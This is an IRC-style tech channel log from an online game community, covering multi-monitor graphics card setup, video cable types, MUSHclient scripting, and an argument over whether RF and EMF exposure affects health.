T3/r7/2013-02-24.txt.gz:{chan ch=tech}Daloran Tech: Shrug. Card can't really drive that many displays with that much power anyway
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Juictice Tech: what do you mean processing will be shared
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Daloran Tech: Nod Ju. depends on what you want it for though.. gaming? Desktop usage?
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vakieh Tech: Meaning the gfx will be processed as a whole, rather than having 2 nice monitors and 1 crappy one based on the cards
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Daloran Tech: Vak.. it doesn't work that way.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vakieh Tech: You will need more wattage than usual to power 2 cards though
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vakieh Tech: Read what I wrote Daloran, I never said it did :-P
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Juictice Tech: pure desktop usage
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Juictice Tech: only want gaming on 1 of the monitors
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Daloran Tech: You said processing will be shared, meaning its processed as a whole, rather then having 2 nice monitors and 1 crappy one - you didn't just say that? =p
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vakieh Tech: Right, and it will be. The processing will be done for all 3 monitors by both cards, rather than having each monitor tied to a certain card
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Daloran Tech: Then yeah, you'll be fine adding another video card, or using onboard, if your motherboard has it and will allow you to use it in conjunction with your dedicated gpu
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Juictice Tech: should it just be plug and play?  throw a second card in, update drivers, assign third screen to it and voila?
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Daloran Tech: Vakieh.. It doesn't work that way unless you are using crossfire / SLI setups, which are not something you can do with any random pair of cards
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Juictice Tech: seems like to share there needs to be a protocol, can't just expect 2 random cards to work well together
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Daloran Tech: Nod Jui. In Vista/7 its ezpz, in xp its ez.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Juictice Tech: i shouldn't expect to do anything funky with getting the mobo to recognize this other card?
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Daloran Tech: pretty much does. Your two cards may have incompatabilities. If you have only 1 pci-ex slot you can't use 2 pci-ex cards, also.. but if you have the slots for it, and the power, its basically just plug and play, install the drivers, and you're golden
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Juictice Tech: what if 1 is pci-e and the other is pci?
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Daloran Tech: Shouldn't need to.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Daloran Tech: So long as you have a port for the card, you should be good.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Juictice Tech: how do i know if i have the power?
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Juictice Tech: my gimped psu w/o a fan
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Daloran Tech: You said you had an 850 watt psu?
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Daloran Tech: Well, same way to make sure power for anything else.. tally up the total draw of all the devices in your system, and compare to your PSUs rated output, with a little bit of fudge factor, 20% or so
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Juictice Tech: no, 500 base watt
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Juictice Tech: its too dark to see in my case, is there a way to see in windows whether i have pci or pci-e slots?
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Daloran Tech: Ahhhh yeah, that'd be a little iffy running 2 cards.. depends on what they are
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Daloran Tech: Easiest way would be to look up the model number of your PC. or to just pop the cover off the side
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Juictice Tech: it's been so long i can't tell if those are pci or pci-e
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vliam Tech: pci are usually white
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Juictice Tech: well its either white or yellow or grey
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Daloran Tech: Ju.. is it different then the slot your video card is it? or the same =p
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Juictice Tech: i can't tell
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vliam Tech: but, if you are talking about a video card, you might have an AGP also
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Daloran Tech: PCI-e slots usually also have a tab that hangs off the back edge of the slot, pci usually doesn't
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Daloran Tech: AGP will have a similar tab too
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Juictice Tech: is it better or no difference to run a second monitor via hdmi vs. vga if the primary one is dvi?
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Daloran Tech: Not relevant which the first monitor is. HDMI/DVI are your better choices though
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Juictice Tech: what's the difference vs. using the vga cable/ports instead of hdmi
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Daloran Tech: VGA is analog, HDMI is digital. DVI can be either. HDMI carries sound, the other two do not
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vliam Tech: hdmi is digital.  That's the better route for LCD monitors
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vliam Tech: what daloran said
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Daloran Tech: DVI and HDMI are actually electrically identical, for digital video, so between the two it doesn't reallym atter
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Juictice Tech: still not sure what makes hdmi better but I'll take your word for it
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Daloran Tech: You might leave the DVI for connecting a TV to - so you can just select the output device in software, instead of plugging/replugging.. but thats about the onl benefit to leaving it alone
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Ranrr Tech: HDMI also has sound, DRM and weird licenses
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Daloran Tech: HDMI/DVI no difference. HDMI/VGA .. HDMI is digital. so computer says 1, monitor displays 1. Analog, computer says 1, monitor might interpet that as .997 or 1.003 depending on resistance in the cables, etc
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vliam Tech: with VGA you have to convert from digital to analog and back to digital.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Daloran Tech: HDMI supports DRM/wierd licenses. Doesn't require them. And if you mean HDCP, DVI supports that as well.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vliam Tech: unecessary conversion is bad
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Ranrr Tech: oic
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Daloran Tech: In practice though HDMI(only first because sound) > DVI > VGA, other then that, use whatever you have the inputs/outputs/cables to support.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vliam Tech: plus, analog is more suseptible to external interference from magnetic fields or other noise.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Juictice Tech: awesome, thanks a lot for the help
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Daloran Tech: Anytime.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Juictice Tech: going to bed, maybe i'll throw in this ancient vid card tmrw.  if it still works
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Daloran Tech: night
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Juictice Tech: no wait last one
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Juictice Tech: hdmi to hdmi vs. hdmi to dvi... any difference?
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Juictice Tech: i have two different cords
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Daloran Tech: DVI has no sound
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Juictice Tech: gotcha, ok!
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Daloran Tech: otherwise, no
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Daloran Tech: I prefer DVI cables due to having screws on them so they don't come unplugged as easily.... but that's a small thing
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Getsuko Tech: Can triggers match a blank line somehow?
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Getsuko Tech: Is there a way to do something like Note() but preserve the original colors?
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Pedwiddle Tech: ColourNote?
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Pedwiddle Tech: Though I don't think that'll preserve colors - I think you need to build your own lines with ColourTell?
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Pedwiddle Tech: Been a while since I played w/MUSH, though, so I could be totally off
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Getsuko Tech: you're right -- doesn't keep it :-\
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Sit like a Trurien Tech: I have a form which POSTs something to a script. The script is executing, since a simple echo statement defined there prints the value of a variable.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Sit like a Trurien Tech: But the $_POST array seems to be empty. What am I doing wrong?
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Sit like a Trurien Tech: I think I have it :/
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Sit like a Trurien Tech: Can I not use <input id="x">? Must I use <input name="x">?
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Buried Dreadlocker Tech: Hmmm, for some odd reason my mushclient is screwing up. Has there been a new update?
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Aqiz Tech: damn
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Aqiz Tech: someone just unplugged a rack in our dc....
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Aqiz Tech: this cant be happening
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Rondel Tech: for some reason each time i type who i get discconected from the mud...
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Ontuct Tech: pagesize
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Ontuct Tech: noye list will likely do the samething to you
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Ontuct Tech: note list will likely do the samething to you
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Rondel Tech: nope?
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Ontuct Tech: do you pagesize?
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Rondel Tech: i just turned it back on now
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Rondel Tech: set at 100 and worked
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Rondel Tech: said nope to note list btw sorry
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Ontuct Tech: so your problem is gone?
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Ontuct Tech: I use winkles spellup script and it does that to me.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Daagar Tech: Why would certain (monospaced) fonts not show up in mushclient's selection list?
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Daagar Tech: I am missing 'dejavu sans mono', for example, despite it being installed
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Scars Tech: noticed a strange thing happening in hedgehod that i can't seem to have happen anywhere else
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Scars Tech: i use the aardclient and have the mapper echo in main window as well as the mini window
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Scars Tech: in the northeastern room on the first part of the area, it's showing the mapper 3 times
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Scars Tech: nowhere else it does that
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Scars Tech: or, i should say, i shows the mapper the first time, then it echos the mapper two more times all in the main window
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Scars Tech: if i turn the echoing off, i get two carriage returns
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Ranrr Tech: Looks normal with tintin++, must be a mush issue.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Ranrr Tech: Well, not must, but... that seems likely.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Scars Tech: yeah, i didn't think this was an aard issue
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Scars Tech: if i kill all of the mobs, i don't get the same problem
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Scars Tech: quite strange
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Bast Tech: scars, it is because two of the mobs matched the trigger "* opens*." from aard_ascii_map, and that trigger sends the map command
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Arnica Tech: except when they've been killed, of course
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: Scars, petition for a way to get the ascii map over gmcp and that can stop
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: lasher said the map won't be added to gmcp
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: when did he say that?
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: something about different clients handling line breaks differently
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Tech: The Jerk Fiendish sits down and thinks deeply. 
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: when it was first added
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I don't need line breaks
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: gmcp already sends line breaks anyway
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: see all the multi-line socials
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Hanslanda Tech: I would think the map info would be too spammy for gmcp, similar to why room descs aren't sent.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: ah, forgot about that
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: cmud displays them all on one line, so there you go
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: does it? that's stupid of cmud
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: actually, i don't even know if you can store a carriage return in a variable at all in cmud... hans might?
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: you don't need to
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: store a null character
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: there are a whole set of characters that aardwolf doesn't use
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: yeah, i probably could do some parsing trick on the raw gmcp data to get it to display on multiple lines, i just can't be bothered
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: those socials aren't used much anyway, it's not a huge issue for me
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I do actually do some kind of trick somewhere in the communication log, but it works
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: gonna need to experiment with this now :P
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: oh actually I do have a newline hack, but I don't think it's at all related to the gmcp
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I think it's just for display
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: because the miniwindow text function turns them into blocks
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: they just come through as \n in the gmcp string
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: this is aard_channels_fiendish.xml?
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: yes
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: you can search for the word "newline"
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: oh, yeah, that's right
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: cmud does display the \n's
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: i could probably just sub them and it would work... but i'd need to play with spacing too, cause of my timestamps...
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I'm not sure what happens with the timestamps for me...gonna see on test port
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Turie Tech: HP is making an $169 Andriod Tablet. lol
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Eutychus Tech: Last time they tried to make a tablet, they almost dropped out of the PC game altogether.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Turie Tech: They made it with Palm OS
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vliam Tech: HP is a bucket of fail
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Tech: Eutychus is agreeing with that Vliam person again...
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vliam Tech: they need to stick to selling overpriced ink and toner
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Getsuko Tech: anyone know why .+ doesn't match across lines for multiline triggers?
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: multiline triggers are tricky things. I never use them
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Getsuko Tech: I'm trying to figure out how to determine the end of combat :\
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: gmcp
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Getsuko Tech: interesting... will check it out, thanks
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Getsuko Tech: Is there a 1-liner I can try to request char.stats using GMCP?  I can't seem to find a simple way to do this
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: in mushclient?
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Getsuko Tech: yeah
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: request from the server or get in a variable?
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Getsuko Tech: Just print it (save in a variable is nice too I guess)
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: sort of
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: not one line
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: you know there's a page on the aard wiki about this
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Getsuko Tech: It doesn't seem to explain how to do it.  It explains a lot of the GMCP functions, but not the highlevel function to call them. I'll try to read closer.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: there's a page specifically about using mushclient
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Getsuko Tech: Ah I found that section!  Shucks the helpers may be lua-specific
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: yes
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Getsuko Tech: Thanks for your help fiendish
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Getsuko Tech: I am still very suprised there is no easy way to capture full-color output into a script.  Seems like there is a VERY roundabout way of capturing it and reprinting it
T3/r7/2013-02-24.txt.gz:{chan ch=tech}BobTheGreat Tech: You can turn rawcolors on, get the stuff, and turn it off. ;P
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Getsuko Tech: haha yikes :P
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: you can use the styles table, it's not the easiest thing in the world to work with though
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Tech: Mendaloth crosses his arms and nods slowly and sagely to The Reaper Myrkul.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Adlezl Tech: i cant get the help file to work. what is the character that allows variables to be used? ex. 'say fl' = say darkside of the fractured lands
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: http://support.microsoft.com/?kbid=917607
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: mushclient helpfile is also available online at http://www.mushclient.com/scripts/doc.php
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: you can ask again after you get the help file working
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Adlezl Tech: thanks
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Tigernuts Tech: does anyone know of a technology that will entirely block wifi band waves from a wireless access point?
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Tigernuts Tech: and on a similar note, has anyone seen or heard of a device, or know enough about the technology to suggest a device that plugs into an electric socket and scramble all network over powerline data in the immediate vicinity
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Zade Tech: Faraday shell
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Zade Tech: electric socket blocks may scramble the neighbours reception
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Tigernuts Tech: good
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Zade Tech: is the FTC going to like or permit that though
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Tigernuts Tech: the FTC should have been regulating transmission over powerline to prevent it breaching your home boundary anyway
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Turie Tech: The FCC has banned RF jammers since 1930s.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Tigernuts Tech: talking about powerline network, Turie
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Tigernuts Tech: not RF
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Zade Tech: i heard that in prior years, the electronic emf soup in London was so thick, that the health of some humans was adversely affected
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Tigernuts Tech: it is still postulated, though it appears to fluctuate from person to person
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: only if the person has some sort of digital pacemaker susceptible to RF exposure
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: which it shouldn't be
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Tigernuts Tech: that's not the only person, some people living close to mobile phone masts complain of headaches, sleeping disorders
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: those people are called idiots
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Tigernuts Tech: they would probably think the same of you
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: it's too bad for them that this has been shown repeatedly to be hypochondria
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Zade Tech: being too close to a transamission tower is said to cause sterility
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Tigernuts Tech: citation
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: for which
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Daloran Tech: tiger: Zade said it. just now. =p
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Tigernuts Tech: shown repeatedly to be hypochonria
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Tech: The Jerk Fiendish sighs.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Zade Tech: that is how microwaves for cooking were discovered -- wam melted chocolate in a technicians pocket
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Rabshakeh Tech: is it true you can rig a microwave to create an explosion for 300 yards
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Hanslanda Tech: a lot further if you actually put explosives in it
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Zade Tech: warm melted chocolate when a military technician stood near some transmission equipment
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vost Tech: yeah, put a lot of Sdynamite inside it
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vost Tech: dynamite *
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Daloran Tech: SDynamite? I don't use anything less then SSDynamite, I prefer SSS Dynamite though...
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Hanslanda Tech: you can also cook an egg in a microwave.  Best not to do it, though, unless you want steaming-hot egg on your face (and bits of hard-boiled egg all over your kitchen)
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Daloran Tech: microwaved eggs aren't half bad, hans
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Tigernuts Tech: Sleep, EEG and waking rCBF have been studied in relation to RF exposure for a decade now, and the majority of papers published to date have found some form of effect. While a Finnish study failed to find any effect on sleep or other cognitive function from pulsed RF exposure,[51] most other papers have found significant effects on sleep
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: "Do mobile phone base stations affect sleep of residents? Results from an experimental double-blind sham-controlled field study" from American Journal of Human Biology   Analysis of the subjective and objective sleep data did not reveal any significant differences between the real and sham condition. During sham exposure nights, objective and subjective sleep efficiency, wake after sleep onset, and subjective sleep latency were significantly worse in participants with concerns about possible health risks resulting from base stations than in participants who were not concerned.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Hanslanda Tech: they aren't bad if you take them out of the shell first
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Daloran Tech: yes, obviously..
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Tigernuts Tech: While some papers were inconclusive or inconsistent, a number of studies have now demonstrated reversible EEG and rCBF alterations from exposure to pulsed RF exposure.  German research from 2006 found that statistically significant EEG changes could be consistently found, but only in a relatively low proportion of study participants (12 - 30%)
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: The study did not provide any evidence for short-term physiological effects of EMF emitted by mobile phone base stations on objective and subjective sleep quality.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: that's one citation. shall I find more?
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Zade Tech: highway patrol officers were getting tumors and cancers in the head from using their radar and comminications equipment -- was that a myth
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Tigernuts Tech: well since it's been contradicted already, no
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: contradicted by whom? you?
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I listed a source
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Tigernuts Tech: While some papers were inconclusive or inconsistent,[58][59] a number of studies have now demonstrated reversible EEG and rCBF alterations from exposure to pulsed RF exposure.[60][61][62][63] German research from 2006 found that statistically significant EEG changes could be consistently found, but only in a relatively low proportion of study participants (12 - 30%)
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Tigernuts Tech: fuckitalready
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Tigernuts Tech: While some papers were inconclusive or inconsistent,[58][59] a number of studies have now demonstrated reversible EEG and rCBF alterations from exposure to pulsed RF exposure.[60][61][62][63] German research from 2006 found that statistically significant EEG changes could be consistently found, but only in a relatively low proportion of study participants (12 - 30%)
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Tigernuts Tech: i hate firefox, it's broken
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Turie Tech: RF affects honey bees.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Tigernuts Tech: the wiki article links to about half a dozen different science papers showing links of EMF radiation to sleep
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: Two double-blind placebo-controlled trials conducted at the University of Essex and another in Switzerland[72] concluded that mobile phone masts were unlikely to be causing these short term effects in a group of volunteers who complained of such symptoms.[73] The Essex study found that subjects were unable to tell whether they were being exposed to electromagnetic fields or not, and that sensitive subjects reported lower well-being independently of exposure.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Tech: GraySong Gregor peers around himself intently.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}GraySong Gregor Tech: I've just got here, could someone give the cliff notes?
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I'm not sure what wikipedia article you are looking at, but all of the ones relating to EMF and health effects contradict you
T3/r7/2013-02-24.txt.gz:{chan ch=tech}GraySong Gregor Tech: is it safe to leave my computer on in my room while I'm sleeping?
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: only if you're not korean
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Tigernuts Tech: no, gregor, it might explode killing thousands of innocent people
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: computers have fans in them and those are well known to cause fan death
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Zade Tech: tech -h 70
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Hanslanda Tech: it is, but the whine of the moving parts and the shine of the LED indicators might result in poorer sleep quality.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Hanslanda Tech: but that kinda depends on how big your room is and/or proximity of bed and computer.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}GraySong Gregor Tech: My computer hums softly throughout the night, I was pondering on whether it was exhibiting harmful radiation.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: no
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Tigernuts Tech: you are responsible for drowning polar bears by leaving it on, though
T3/r7/2013-02-24.txt.gz:{chan ch=tech}GraySong Gregor Tech: What about mobile phones, do they cause harm?
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: no
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Zade Tech: i put the computer into sleep-mode when not using the computer -- electricity is not cheap
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: unless you throw them really hard
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Ampersand Tech: haha
T3/r7/2013-02-24.txt.gz:{chan ch=tech}GraySong Gregor Tech: How can you be so sure?
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Hanslanda Tech: jury's still out on that one, actually.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Turie Tech: Does an annoyed Fiendish cause harm?
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Hanslanda Tech: why it's still up in the air is likely politically-motivated, however, since it's bounced between yes and no something like a dozen times.
